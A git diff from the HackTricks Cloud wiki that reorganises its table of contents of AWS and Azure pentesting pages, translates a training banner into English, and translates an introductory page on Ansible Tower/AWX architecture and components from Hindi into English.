- [AWS - EMR Privesc](pentesting-cloud/aws-security/aws-privilege-escalation/aws-emr-privesc/README.md)
|
||||
- [AWS - EventBridge Scheduler Privesc](pentesting-cloud/aws-security/aws-privilege-escalation/eventbridgescheduler-privesc/README.md)
|
||||
- [AWS - Gamelift](pentesting-cloud/aws-security/aws-privilege-escalation/aws-gamelift/README.md)
|
||||
- [AWS - Glue Privesc](pentesting-cloud/aws-security/aws-privilege-escalation/aws-glue-privesc/README.md)
|
||||
- [AWS - IAM Privesc](pentesting-cloud/aws-security/aws-privilege-escalation/aws-iam-privesc/README.md)
|
||||
- [AWS - KMS Privesc](pentesting-cloud/aws-security/aws-privilege-escalation/aws-kms-privesc/README.md)
|
||||
- [AWS - Lambda Privesc](pentesting-cloud/aws-security/aws-privilege-escalation/aws-lambda-privesc/README.md)
|
||||
- [AWS - Lightsail Privesc](pentesting-cloud/aws-security/aws-privilege-escalation/aws-lightsail-privesc/README.md)
|
||||
- [AWS - Macie Privesc](pentesting-cloud/aws-security/aws-privilege-escalation/aws-macie-privesc/README.md)
|
||||
- [AWS - Mediapackage Privesc](pentesting-cloud/aws-security/aws-privilege-escalation/aws-mediapackage-privesc/README.md)
|
||||
- [AWS - MQ Privesc](pentesting-cloud/aws-security/aws-privilege-escalation/aws-mq-privesc/README.md)
|
||||
- [AWS - MSK Privesc](pentesting-cloud/aws-security/aws-privilege-escalation/aws-msk-privesc/README.md)
|
||||
- [AWS - RDS Privesc](pentesting-cloud/aws-security/aws-privilege-escalation/aws-rds-privesc/README.md)
|
||||
- [AWS - Redshift Privesc](pentesting-cloud/aws-security/aws-privilege-escalation/aws-redshift-privesc/README.md)
|
||||
- [AWS - Route53 Privesc](pentesting-cloud/aws-security/aws-privilege-escalation/route53-createhostedzone-route53-changeresourcerecordsets-acm-pca-issuecertificate-acm-pca-getcer/README.md)
|
||||
- [AWS - SNS Privesc](pentesting-cloud/aws-security/aws-privilege-escalation/aws-sns-privesc/README.md)
|
||||
- [AWS - SQS Privesc](pentesting-cloud/aws-security/aws-privilege-escalation/aws-sqs-privesc/README.md)
|
||||
- [AWS - SSO & identitystore Privesc](pentesting-cloud/aws-security/aws-privilege-escalation/aws-sso-and-identitystore-privesc/README.md)
|
||||
- [AWS - Organizations Privesc](pentesting-cloud/aws-security/aws-privilege-escalation/aws-organizations-prinvesc/README.md)
|
||||
- [AWS - S3 Privesc](pentesting-cloud/aws-security/aws-privilege-escalation/aws-s3-privesc/README.md)
|
||||
- [AWS - Sagemaker Privesc](pentesting-cloud/aws-security/aws-privilege-escalation/aws-sagemaker-privesc/README.md)
|
||||
- [AWS - Secrets Manager Privesc](pentesting-cloud/aws-security/aws-privilege-escalation/aws-secrets-manager-privesc/README.md)
|
||||
- [AWS - SSM Privesc](pentesting-cloud/aws-security/aws-privilege-escalation/aws-ssm-privesc/README.md)
|
||||
- [AWS - Step Functions Privesc](pentesting-cloud/aws-security/aws-privilege-escalation/aws-stepfunctions-privesc/README.md)
|
||||
- [AWS - STS Privesc](pentesting-cloud/aws-security/aws-privilege-escalation/aws-sts-privesc/README.md)
|
||||
- [AWS - WorkDocs Privesc](pentesting-cloud/aws-security/aws-privilege-escalation/aws-workdocs-privesc/README.md)
|
||||
- [AWS - Cognito Privesc](pentesting-cloud/aws-security/aws-privilege-escalation/aws-cognito-privesc.md)
|
||||
- [AWS - Datapipeline Privesc](pentesting-cloud/aws-security/aws-privilege-escalation/aws-datapipeline-privesc.md)
|
||||
- [AWS - Directory Services Privesc](pentesting-cloud/aws-security/aws-privilege-escalation/aws-directory-services-privesc.md)
|
||||
- [AWS - DynamoDB Privesc](pentesting-cloud/aws-security/aws-privilege-escalation/aws-dynamodb-privesc.md)
|
||||
- [AWS - EBS Privesc](pentesting-cloud/aws-security/aws-privilege-escalation/aws-ebs-privesc.md)
|
||||
- [AWS - EC2 Privesc](pentesting-cloud/aws-security/aws-privilege-escalation/aws-ec2-privesc.md)
|
||||
- [AWS - ECR Privesc](pentesting-cloud/aws-security/aws-privilege-escalation/aws-ecr-privesc.md)
|
||||
- [AWS - ECS Privesc](pentesting-cloud/aws-security/aws-privilege-escalation/aws-ecs-privesc.md)
|
||||
- [AWS - EFS Privesc](pentesting-cloud/aws-security/aws-privilege-escalation/aws-efs-privesc.md)
|
||||
- [AWS - Elastic Beanstalk Privesc](pentesting-cloud/aws-security/aws-privilege-escalation/aws-elastic-beanstalk-privesc.md)
|
||||
- [AWS - EMR Privesc](pentesting-cloud/aws-security/aws-privilege-escalation/aws-emr-privesc.md)
|
||||
- [AWS - EventBridge Scheduler Privesc](pentesting-cloud/aws-security/aws-privilege-escalation/eventbridgescheduler-privesc.md)
|
||||
- [AWS - Gamelift](pentesting-cloud/aws-security/aws-privilege-escalation/aws-gamelift.md)
|
||||
- [AWS - Glue Privesc](pentesting-cloud/aws-security/aws-privilege-escalation/aws-glue-privesc.md)
|
||||
- [AWS - IAM Privesc](pentesting-cloud/aws-security/aws-privilege-escalation/aws-iam-privesc.md)
|
||||
- [AWS - KMS Privesc](pentesting-cloud/aws-security/aws-privilege-escalation/aws-kms-privesc.md)
|
||||
- [AWS - Lambda Privesc](pentesting-cloud/aws-security/aws-privilege-escalation/aws-lambda-privesc.md)
|
||||
- [AWS - Lightsail Privesc](pentesting-cloud/aws-security/aws-privilege-escalation/aws-lightsail-privesc.md)
|
||||
- [AWS - Macie Privesc](pentesting-cloud/aws-security/aws-privilege-escalation/aws-macie-privesc.md)
|
||||
- [AWS - Mediapackage Privesc](pentesting-cloud/aws-security/aws-privilege-escalation/aws-mediapackage-privesc.md)
|
||||
- [AWS - MQ Privesc](pentesting-cloud/aws-security/aws-privilege-escalation/aws-mq-privesc.md)
|
||||
- [AWS - MSK Privesc](pentesting-cloud/aws-security/aws-privilege-escalation/aws-msk-privesc.md)
|
||||
- [AWS - RDS Privesc](pentesting-cloud/aws-security/aws-privilege-escalation/aws-rds-privesc.md)
|
||||
- [AWS - Redshift Privesc](pentesting-cloud/aws-security/aws-privilege-escalation/aws-redshift-privesc.md)
|
||||
- [AWS - Route53 Privesc](pentesting-cloud/aws-security/aws-privilege-escalation/route53-createhostedzone-route53-changeresourcerecordsets-acm-pca-issuecertificate-acm-pca-getcer.md)
|
||||
- [AWS - SNS Privesc](pentesting-cloud/aws-security/aws-privilege-escalation/aws-sns-privesc.md)
|
||||
- [AWS - SQS Privesc](pentesting-cloud/aws-security/aws-privilege-escalation/aws-sqs-privesc.md)
|
||||
- [AWS - SSO & identitystore Privesc](pentesting-cloud/aws-security/aws-privilege-escalation/aws-sso-and-identitystore-privesc.md)
|
||||
- [AWS - Organizations Privesc](pentesting-cloud/aws-security/aws-privilege-escalation/aws-organizations-prinvesc.md)
|
||||
- [AWS - S3 Privesc](pentesting-cloud/aws-security/aws-privilege-escalation/aws-s3-privesc.md)
|
||||
- [AWS - Sagemaker Privesc](pentesting-cloud/aws-security/aws-privilege-escalation/aws-sagemaker-privesc.md)
|
||||
- [AWS - Secrets Manager Privesc](pentesting-cloud/aws-security/aws-privilege-escalation/aws-secrets-manager-privesc.md)
|
||||
- [AWS - SSM Privesc](pentesting-cloud/aws-security/aws-privilege-escalation/aws-ssm-privesc.md)
|
||||
- [AWS - Step Functions Privesc](pentesting-cloud/aws-security/aws-privilege-escalation/aws-stepfunctions-privesc.md)
|
||||
- [AWS - STS Privesc](pentesting-cloud/aws-security/aws-privilege-escalation/aws-sts-privesc.md)
|
||||
- [AWS - WorkDocs Privesc](pentesting-cloud/aws-security/aws-privilege-escalation/aws-workdocs-privesc.md)
|
||||
- [AWS - Services](pentesting-cloud/aws-security/aws-services/README.md)
|
||||
- [AWS - Security & Detection Services](pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/README.md)
|
||||
- [AWS - CloudTrail Enum](pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-cloudtrail-enum.md)
|
||||
@@ -373,7 +335,6 @@
|
||||
- [AWS - Trusted Advisor Enum](pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-trusted-advisor-enum.md)
|
||||
- [AWS - WAF Enum](pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-waf-enum.md)
|
||||
- [AWS - API Gateway Enum](pentesting-cloud/aws-security/aws-services/aws-api-gateway-enum.md)
|
||||
- [AWS - Bedrock Enum](pentesting-cloud/aws-security/aws-services/aws-bedrock-enum.md)
|
||||
- [AWS - Certificate Manager (ACM) & Private Certificate Authority (PCA)](pentesting-cloud/aws-security/aws-services/aws-certificate-manager-acm-and-private-certificate-authority-pca.md)
|
||||
- [AWS - CloudFormation & Codestar Enum](pentesting-cloud/aws-security/aws-services/aws-cloudformation-and-codestar-enum.md)
|
||||
- [AWS - CloudHSM Enum](pentesting-cloud/aws-security/aws-services/aws-cloudhsm-enum.md)
|
||||
@@ -384,7 +345,7 @@
|
||||
- [Cognito User Pools](pentesting-cloud/aws-security/aws-services/aws-cognito-enum/cognito-user-pools.md)
|
||||
- [AWS - DataPipeline, CodePipeline & CodeCommit Enum](pentesting-cloud/aws-security/aws-services/aws-datapipeline-codepipeline-codebuild-and-codecommit.md)
|
||||
- [AWS - Directory Services / WorkDocs Enum](pentesting-cloud/aws-security/aws-services/aws-directory-services-workdocs-enum.md)
|
||||
- [AWS - DocumentDB Enum](pentesting-cloud/aws-security/aws-services/aws-documentdb-enum/README.md)
|
||||
- [AWS - DocumentDB Enum](pentesting-cloud/aws-security/aws-services/aws-documentdb-enum.md)
|
||||
- [AWS - DynamoDB Enum](pentesting-cloud/aws-security/aws-services/aws-dynamodb-enum.md)
|
||||
- [AWS - EC2, EBS, ELB, SSM, VPC & VPN Enum](pentesting-cloud/aws-security/aws-services/aws-ec2-ebs-elb-ssm-vpc-and-vpn-enum/README.md)
|
||||
- [AWS - Nitro Enum](pentesting-cloud/aws-security/aws-services/aws-ec2-ebs-elb-ssm-vpc-and-vpn-enum/aws-nitro-enum.md)
|
||||
@@ -409,7 +370,6 @@
|
||||
- [AWS - Redshift Enum](pentesting-cloud/aws-security/aws-services/aws-redshift-enum.md)
|
||||
- [AWS - Relational Database (RDS) Enum](pentesting-cloud/aws-security/aws-services/aws-relational-database-rds-enum.md)
|
||||
- [AWS - Route53 Enum](pentesting-cloud/aws-security/aws-services/aws-route53-enum.md)
|
||||
- [AWS - SageMaker Enum](pentesting-cloud/aws-security/aws-services/aws-sagemaker-enum/README.md)
|
||||
- [AWS - Secrets Manager Enum](pentesting-cloud/aws-security/aws-services/aws-secrets-manager-enum.md)
|
||||
- [AWS - SES Enum](pentesting-cloud/aws-security/aws-services/aws-ses-enum.md)
|
||||
- [AWS - SNS Enum](pentesting-cloud/aws-security/aws-services/aws-sns-enum.md)
|
||||
@@ -419,32 +379,31 @@
|
||||
- [AWS - STS Enum](pentesting-cloud/aws-security/aws-services/aws-sts-enum.md)
|
||||
- [AWS - Other Services Enum](pentesting-cloud/aws-security/aws-services/aws-other-services-enum.md)
|
||||
- [AWS - Unauthenticated Enum & Access](pentesting-cloud/aws-security/aws-unauthenticated-enum-access/README.md)
|
||||
- [AWS - Accounts Unauthenticated Enum](pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-accounts-unauthenticated-enum/README.md)
|
||||
- [AWS - API Gateway Unauthenticated Enum](pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-api-gateway-unauthenticated-enum/README.md)
|
||||
- [AWS - Cloudfront Unauthenticated Enum](pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-cloudfront-unauthenticated-enum/README.md)
|
||||
- [AWS - Cognito Unauthenticated Enum](pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-cognito-unauthenticated-enum/README.md)
|
||||
- [AWS - CodeBuild Unauthenticated Access](pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-codebuild-unauthenticated-access/README.md)
|
||||
- [AWS - DocumentDB Unauthenticated Enum](pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-documentdb-enum/README.md)
|
||||
- [AWS - DynamoDB Unauthenticated Access](pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-dynamodb-unauthenticated-access/README.md)
|
||||
- [AWS - EC2 Unauthenticated Enum](pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-ec2-unauthenticated-enum/README.md)
|
||||
- [AWS - ECR Unauthenticated Enum](pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-ecr-unauthenticated-enum/README.md)
|
||||
- [AWS - ECS Unauthenticated Enum](pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-ecs-unauthenticated-enum/README.md)
|
||||
- [AWS - Elastic Beanstalk Unauthenticated Enum](pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-elastic-beanstalk-unauthenticated-enum/README.md)
|
||||
- [AWS - Elasticsearch Unauthenticated Enum](pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-elasticsearch-unauthenticated-enum/README.md)
|
||||
- [AWS - IAM & STS Unauthenticated Enum](pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-iam-and-sts-unauthenticated-enum/README.md)
|
||||
- [AWS - Identity Center & SSO Unauthenticated Enum](pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-identity-center-and-sso-unauthenticated-enum/README.md)
|
||||
- [AWS - IoT Unauthenticated Enum](pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-iot-unauthenticated-enum/README.md)
|
||||
- [AWS - Kinesis Video Unauthenticated Enum](pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-kinesis-video-unauthenticated-enum/README.md)
|
||||
- [AWS - Lambda Unauthenticated Access](pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-lambda-unauthenticated-access/README.md)
|
||||
- [AWS - Media Unauthenticated Enum](pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-media-unauthenticated-enum/README.md)
|
||||
- [AWS - MQ Unauthenticated Enum](pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-mq-unauthenticated-enum/README.md)
|
||||
- [AWS - MSK Unauthenticated Enum](pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-msk-unauthenticated-enum/README.md)
|
||||
- [AWS - RDS Unauthenticated Enum](pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-rds-unauthenticated-enum/README.md)
|
||||
- [AWS - Redshift Unauthenticated Enum](pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-redshift-unauthenticated-enum/README.md)
|
||||
- [AWS - SageMaker Unauthenticated Enum](pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-sagemaker-unauthenticated-enum/README.md)
|
||||
- [AWS - SQS Unauthenticated Enum](pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-sqs-unauthenticated-enum/README.md)
|
||||
- [AWS - SNS Unauthenticated Enum](pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-sns-unauthenticated-enum/README.md)
|
||||
- [AWS - S3 Unauthenticated Enum](pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-s3-unauthenticated-enum/README.md)
|
||||
- [AWS - Accounts Unauthenticated Enum](pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-accounts-unauthenticated-enum.md)
|
||||
- [AWS - API Gateway Unauthenticated Enum](pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-api-gateway-unauthenticated-enum.md)
|
||||
- [AWS - Cloudfront Unauthenticated Enum](pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-cloudfront-unauthenticated-enum.md)
|
||||
- [AWS - Cognito Unauthenticated Enum](pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-cognito-unauthenticated-enum.md)
|
||||
- [AWS - CodeBuild Unauthenticated Access](pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-codebuild-unauthenticated-access.md)
|
||||
- [AWS - DocumentDB Unauthenticated Enum](pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-documentdb-enum.md)
|
||||
- [AWS - DynamoDB Unauthenticated Access](pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-dynamodb-unauthenticated-access.md)
|
||||
- [AWS - EC2 Unauthenticated Enum](pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-ec2-unauthenticated-enum.md)
|
||||
- [AWS - ECR Unauthenticated Enum](pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-ecr-unauthenticated-enum.md)
|
||||
- [AWS - ECS Unauthenticated Enum](pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-ecs-unauthenticated-enum.md)
|
||||
- [AWS - Elastic Beanstalk Unauthenticated Enum](pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-elastic-beanstalk-unauthenticated-enum.md)
|
||||
- [AWS - Elasticsearch Unauthenticated Enum](pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-elasticsearch-unauthenticated-enum.md)
|
||||
- [AWS - IAM & STS Unauthenticated Enum](pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-iam-and-sts-unauthenticated-enum.md)
|
||||
- [AWS - Identity Center & SSO Unauthenticated Enum](pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-identity-center-and-sso-unauthenticated-enum.md)
|
||||
- [AWS - IoT Unauthenticated Enum](pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-iot-unauthenticated-enum.md)
|
||||
- [AWS - Kinesis Video Unauthenticated Enum](pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-kinesis-video-unauthenticated-enum.md)
|
||||
- [AWS - Lambda Unauthenticated Access](pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-lambda-unauthenticated-access.md)
|
||||
- [AWS - Media Unauthenticated Enum](pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-media-unauthenticated-enum.md)
|
||||
- [AWS - MQ Unauthenticated Enum](pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-mq-unauthenticated-enum.md)
|
||||
- [AWS - MSK Unauthenticated Enum](pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-msk-unauthenticated-enum.md)
|
||||
- [AWS - RDS Unauthenticated Enum](pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-rds-unauthenticated-enum.md)
|
||||
- [AWS - Redshift Unauthenticated Enum](pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-redshift-unauthenticated-enum.md)
|
||||
- [AWS - SQS Unauthenticated Enum](pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-sqs-unauthenticated-enum.md)
|
||||
- [AWS - SNS Unauthenticated Enum](pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-sns-unauthenticated-enum.md)
|
||||
- [AWS - S3 Unauthenticated Enum](pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-s3-unauthenticated-enum.md)
|
||||
- [Azure Pentesting](pentesting-cloud/azure-security/README.md)
|
||||
- [Az - Basic Information](pentesting-cloud/azure-security/az-basic-information/README.md)
|
||||
- [Az Federation Abuse](pentesting-cloud/azure-security/az-basic-information/az-federation-abuse.md)
|
||||
@@ -464,7 +423,6 @@
|
||||
- [Az - ARM Templates / Deployments](pentesting-cloud/azure-security/az-services/az-arm-templates.md)
|
||||
- [Az - Automation Accounts](pentesting-cloud/azure-security/az-services/az-automation-accounts.md)
|
||||
- [Az - Azure App Services](pentesting-cloud/azure-security/az-services/az-app-services.md)
|
||||
- [Az - AI Foundry](pentesting-cloud/azure-security/az-services/az-ai-foundry.md)
|
||||
- [Az - Cloud Shell](pentesting-cloud/azure-security/az-services/az-cloud-shell.md)
|
||||
- [Az - Container Registry](pentesting-cloud/azure-security/az-services/az-container-registry.md)
|
||||
- [Az - Container Instances, Apps & Jobs](pentesting-cloud/azure-security/az-services/az-container-instances-apps-jobs.md)
|
||||
@@ -524,7 +482,6 @@
|
||||
- [Az - VMs & Network Post Exploitation](pentesting-cloud/azure-security/az-post-exploitation/az-vms-and-network-post-exploitation.md)
|
||||
- [Az - Privilege Escalation](pentesting-cloud/azure-security/az-privilege-escalation/README.md)
|
||||
- [Az - Azure IAM Privesc (Authorization)](pentesting-cloud/azure-security/az-privilege-escalation/az-authorization-privesc.md)
|
||||
- [Az - AI Foundry Privesc](pentesting-cloud/azure-security/az-privilege-escalation/az-ai-foundry-privesc.md)
|
||||
- [Az - App Services Privesc](pentesting-cloud/azure-security/az-privilege-escalation/az-app-services-privesc.md)
|
||||
- [Az - Automation Accounts Privesc](pentesting-cloud/azure-security/az-privilege-escalation/az-automation-accounts-privesc.md)
|
||||
- [Az - Container Registry Privesc](pentesting-cloud/azure-security/az-privilege-escalation/az-container-registry-privesc.md)
|
||||
|
||||
@@ -1,14 +1,18 @@
|
||||
> [!TIP]
|
||||
> AWS हैकिंग सीखें और अभ्यास करें:<img src="../../../../../images/arte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../../../images/arte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">\
|
||||
> GCP हैकिंग सीखें और अभ्यास करें: <img src="../../../../../images/grte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">[**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)<img src="../../../../../images/grte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">
|
||||
> Azure हैकिंग सीखें और अभ्यास करें: <img src="../../../../../images/azrte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">[**HackTricks Training Azure Red Team Expert (AzRTE)**](https://training.hacktricks.xyz/courses/azrte)<img src="../../../../../images/azrte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">
|
||||
> Learn & practice AWS Hacking:<img src="../../../../../images/arte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../../../images/arte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">\
|
||||
> Learn & practice GCP Hacking: <img src="../../../../../images/grte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">[**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)<img src="../../../../../images/grte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">\
|
||||
> Learn & practice Az Hacking: <img src="../../../../../images/azrte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">[**HackTricks Training Azure Red Team Expert (AzRTE)**](https://training.hacktricks.xyz/courses/azrte)<img src="../../../../../images/azrte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">
|
||||
>
|
||||
> <details>
|
||||
>
|
||||
> <summary>HackTricks का समर्थन करें</summary>
|
||||
> <summary>Support HackTricks</summary>
|
||||
>
|
||||
> - [**सदस्यता योजनाओं**](https://github.com/sponsors/carlospolop) की जांच करें!
|
||||
> - **हमारे** 💬 [**Discord समूह**](https://discord.gg/hRep4RUj7f) या [**टेलीग्राम समूह**](https://t.me/peass) में शामिल हों या **हमें** **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)** पर फॉलो करें।**
|
||||
> - **हैकिंग ट्रिक्स साझा करें, PRs को** [**HackTricks**](https://github.com/carlospolop/hacktricks) और [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) गिटहब रिपोजिटरी में सबमिट करके।
|
||||
> - Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
||||
> - **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
|
||||
> - **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
>
|
||||
> </details>
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
BIN
src/files/empty.zip
Normal file
BIN
src/files/empty.zip
Normal file
Binary file not shown.
BIN
src/pdfs/AWS_Services.pdf
Normal file
BIN
src/pdfs/AWS_Services.pdf
Normal file
Binary file not shown.
@@ -4,59 +4,60 @@
|
||||
|
||||
## Basic Information
|
||||
|
||||
**Ansible Tower** या इसका ओपन-सोर्स संस्करण [**AWX**](https://github.com/ansible/awx) को **Ansible का उपयोगकर्ता इंटरफ़ेस, डैशबोर्ड, और REST API** के रूप में भी जाना जाता है। **भूमिका-आधारित पहुँच नियंत्रण**, नौकरी अनुसूची, और ग्राफिकल इन्वेंटरी प्रबंधन के साथ, आप एक आधुनिक UI से अपनी Ansible अवसंरचना का प्रबंधन कर सकते हैं। Tower का REST API और कमांड-लाइन इंटरफ़ेस इसे वर्तमान उपकरणों और कार्यप्रवाहों में एकीकृत करना सरल बनाते हैं।
|
||||
**Ansible Tower** or it's opensource version [**AWX**](https://github.com/ansible/awx) is also known as **Ansible’s user interface, dashboard, and REST API**. With **role-based access control**, job scheduling, and graphical inventory management, you can manage your Ansible infrastructure from a modern UI. Tower’s REST API and command-line interface make it simple to integrate it into current tools and workflows.
|
||||
|
||||
**Automation Controller Ansible Tower का एक नया** संस्करण है जिसमें अधिक क्षमताएँ हैं।
|
||||
**Automation Controller is a newer** version of Ansible Tower with more capabilities.
|
||||
|
||||
### Differences
|
||||
|
||||
[**इस**](https://blog.devops.dev/ansible-tower-vs-awx-under-the-hood-65cfec78db00) के अनुसार, Ansible Tower और AWX के बीच मुख्य अंतर प्राप्त समर्थन और Ansible Tower की अतिरिक्त सुविधाएँ हैं जैसे भूमिका-आधारित पहुँच नियंत्रण, कस्टम APIs के लिए समर्थन, और उपयोगकर्ता-परिभाषित कार्यप्रवाह।
|
||||
According to [**this**](https://blog.devops.dev/ansible-tower-vs-awx-under-the-hood-65cfec78db00), the main differences between Ansible Tower and AWX is the received support and the Ansible Tower has additional features such as role-based access control, support for custom APIs, and user-defined workflows.
|
||||
|
||||
### Tech Stack
|
||||
|
||||
- **Web Interface**: यह ग्राफिकल इंटरफ़ेस है जहाँ उपयोगकर्ता इन्वेंटरी, क्रेडेंशियल, टेम्पलेट, और नौकरियों का प्रबंधन कर सकते हैं। इसे सहज बनाने के लिए डिज़ाइन किया गया है और यह आपके स्वचालन नौकरियों की स्थिति और परिणामों को समझने में मदद करने के लिए दृश्य प्रस्तुतियाँ प्रदान करता है।
|
||||
- **REST API**: वे सभी कार्य जो आप वेब इंटरफ़ेस में कर सकते हैं, आप REST API के माध्यम से भी कर सकते हैं। इसका मतलब है कि आप AWX/Tower को अन्य प्रणालियों के साथ एकीकृत कर सकते हैं या उन क्रियाओं को स्क्रिप्ट कर सकते हैं जो आप सामान्यतः इंटरफ़ेस में करते हैं।
|
||||
- **Database**: AWX/Tower एक डेटाबेस (आमतौर पर PostgreSQL) का उपयोग करता है ताकि इसकी कॉन्फ़िगरेशन, नौकरी के परिणाम, और अन्य आवश्यक परिचालन डेटा को संग्रहीत किया जा सके।
|
||||
- **RabbitMQ**: यह AWX/Tower द्वारा विभिन्न घटकों के बीच संचार के लिए उपयोग किया जाने वाला संदेश प्रणाली है, विशेष रूप से वेब सेवा और कार्य चलाने वालों के बीच।
|
||||
- **Redis**: Redis एक कैश और कार्य कतार के लिए बैकएंड के रूप में कार्य करता है।
|
||||
- **Web Interface**: This is the graphical interface where users can manage inventories, credentials, templates, and jobs. It's designed to be intuitive and provides visualizations to help with understanding the state and results of your automation jobs.
|
||||
- **REST API**: Everything you can do in the web interface, you can also do via the REST API. This means you can integrate AWX/Tower with other systems or script actions that you'd typically perform in the interface.
|
||||
- **Database**: AWX/Tower uses a database (typically PostgreSQL) to store its configuration, job results, and other necessary operational data.
|
||||
- **RabbitMQ**: This is the messaging system used by AWX/Tower to communicate between the different components, especially between the web service and the task runners.
|
||||
- **Redis**: Redis serves as a cache and a backend for the task queue.
|
||||
|
||||
### Logical Components
|
||||
|
||||
- **Inventories**: एक इन्वेंटरी एक **होस्ट (या नोड्स)** का **संग्रह** है जिसके खिलाफ **नौकरियाँ** (Ansible प्लेबुक) **चलाई** जा सकती हैं। AWX/Tower आपको अपनी इन्वेंटरी को परिभाषित और समूहित करने की अनुमति देता है और यह गतिशील इन्वेंटरी का समर्थन करता है जो **अन्य प्रणालियों** से होस्ट सूचियाँ **लैपटॉप** कर सकता है जैसे AWS, Azure, आदि।
|
||||
- **Projects**: एक प्रोजेक्ट मूल रूप से एक **Ansible प्लेबुक का संग्रह** है जो एक **संस्करण नियंत्रण प्रणाली** (जैसे Git) से लिया गया है ताकि जब आवश्यक हो तो नवीनतम प्लेबुक को खींचा जा सके।
|
||||
- **Templates**: नौकरी टेम्पलेट यह परिभाषित करते हैं कि **किस प्रकार की प्लेबुक चलाई जाएगी**, **इन्वेंटरी**, **क्रेडेंशियल**, और नौकरी के लिए अन्य **पैरामीटर** निर्दिष्ट करते हैं।
|
||||
- **Credentials**: AWX/Tower एक सुरक्षित तरीका प्रदान करता है **गोपनीयताओं का प्रबंधन और संग्रहण करने के लिए, जैसे SSH कुंजी, पासवर्ड, और API टोकन**। ये क्रेडेंशियल नौकरी टेम्पलेट के साथ जुड़े जा सकते हैं ताकि प्लेबुक को चलाते समय आवश्यक पहुँच मिल सके।
|
||||
- **Task Engine**: यहीं जादू होता है। कार्य इंजन Ansible पर आधारित है और **प्लेबुक चलाने** के लिए जिम्मेदार है। नौकरियाँ कार्य इंजन को भेजी जाती हैं, जो फिर निर्दिष्ट क्रेडेंशियल का उपयोग करके निर्दिष्ट इन्वेंटरी के खिलाफ Ansible प्लेबुक चलाता है।
|
||||
